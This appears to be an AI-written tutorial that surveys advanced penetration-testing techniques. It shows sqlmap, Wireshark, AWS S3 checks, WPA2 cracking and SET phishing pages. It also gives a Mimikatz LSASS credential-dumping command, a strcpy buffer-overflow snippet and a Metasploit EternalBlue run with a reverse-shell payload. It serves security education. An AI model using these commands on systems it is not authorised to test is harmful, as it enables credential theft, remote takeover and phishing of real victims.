Advanced pentesting tutorials with examples
Sure! Advanced penetration testing involves a deep understanding of various tools, techniques, and methodologies used to identify and exploit vulnerabilities. Here are some advanced pentesting tutorial topics along with examples.
### 1. **Web Application Penetration Testing**
#### Topic: Exploiting SQL Injection (SQLi)
**Example:**
Using SQLMap, an open-source penetration testing tool, to automate the process of detecting and exploiting SQL injection vulnerabilities.
Command:
```bash
sqlmap -u "http://targetwebsite.com/page?id=1" --dbs
```
This command checks for SQL injection vulnerabilities and lists the databases on the server.
### 2. **Network Penetration Testing**
#### Topic: Sniffing Network Traffic Using Wireshark
**Example:**
Capturing network traffic to find sensitive data.
1. Start Wireshark and select the network interface.
2. Apply a capture filter (e.g., `tcp port 80`) to focus on HTTP traffic.
3. Analyze captured packets for credentials or sensitive data.
### 3. **Exploiting Misconfigured Cloud Services**
#### Topic: Finding Misconfigurations in AWS S3 Buckets
**Example:**
Using `AWS CLI` to list publicly accessible buckets.
```bash
aws s3api list-buckets --query "Buckets[].Name"
```
You can then check for public access using the following command:
```bash
aws s3api get-bucket-acl --bucket <bucket-name>
```
### 4. **Post-Exploitation Techniques**
#### Topic: Harvesting Credentials with Mimikatz
**Example:**
Using Mimikatz to extract plaintext passwords from memory.
```powershell
# Open PowerShell as an Administrator
Invoke-Mimikatz -Command '"sekurlsa::minidump C:\path\to\mem.dmp" "sekurlsa::process lsass.exe" "sekurlsa::tickets" "exit"'
```
This command will help in stealing credentials from the LSASS process.
### 5. **Advanced Wireless Penetration Testing**
#### Topic: Cracking WPA/WPA2 Handshake
**Example:**
Using Aircrack-ng to crack WPA2 passwords.
1. **Capture Handshake:**
```bash
airodump-ng wlan0
```
Target a specific access point and capture the handshake.
2. **Crack the Password:**
```bash
aircrack-ng -w <path-to-wordlist> <path-to-captured-handshake>
```
### 6. **Social Engineering Techniques**
#### Topic: Phishing Campaigns Using SET (Social-Engineer Toolkit)
**Example:**
Using SET to create a phishing page.
1. Start SET:
```bash
sudo setoolkit
```
2. Select "Social Engineering Attacks" and follow the prompts to create a phishing web page, such as a fake login page for a popular service.
### 7. **Exploit Development**
#### Topic: Buffer Overflow Exploits
**Example:**
Finding and exploiting a buffer overflow vulnerability in a C program.
1. **Identify Vulnerability:**
```c
// vulnerable.c
void vulnerable_function(char *input) {
char buffer[64];
strcpy(buffer, input); // Unsafe string copy
}
```
2. **Craft Payload:**
Create a payload that overwrites the return address.
3. **Compile and Run:**
Compile the program and test the exploit using a tool like `gdb` to inspect the buffer.
### 8. **Using Metasploit for Exploitation**
#### Topic: Using Metasploit to Gain Shell Access
**Example:**
Exploiting a known vulnerability using Metasploit.
1. Start Metasploit:
```bash
msfconsole
```
2. Search for an exploit:
```bash
search type:exploit platform:windows
```
3. Use an exploit:
```bash
use exploit/windows/smb/ms17_010_eternalblue
```
4. Set target and payload:
```bash
set RHOST <target-ip>
set PAYLOAD windows/x64/meterpreter/reverse_tcp
```
5. Exploit:
```bash
exploit
```
### Conclusion
Remember, penetration testing should only be performed in environments where you have explicit permission. Using the techniques discussed here can help you understand common vulnerabilities and methods used by attackers, which can be valuable for strengthening security in your organization. Always stay ethical and comply with laws and regulations related to pentesting.
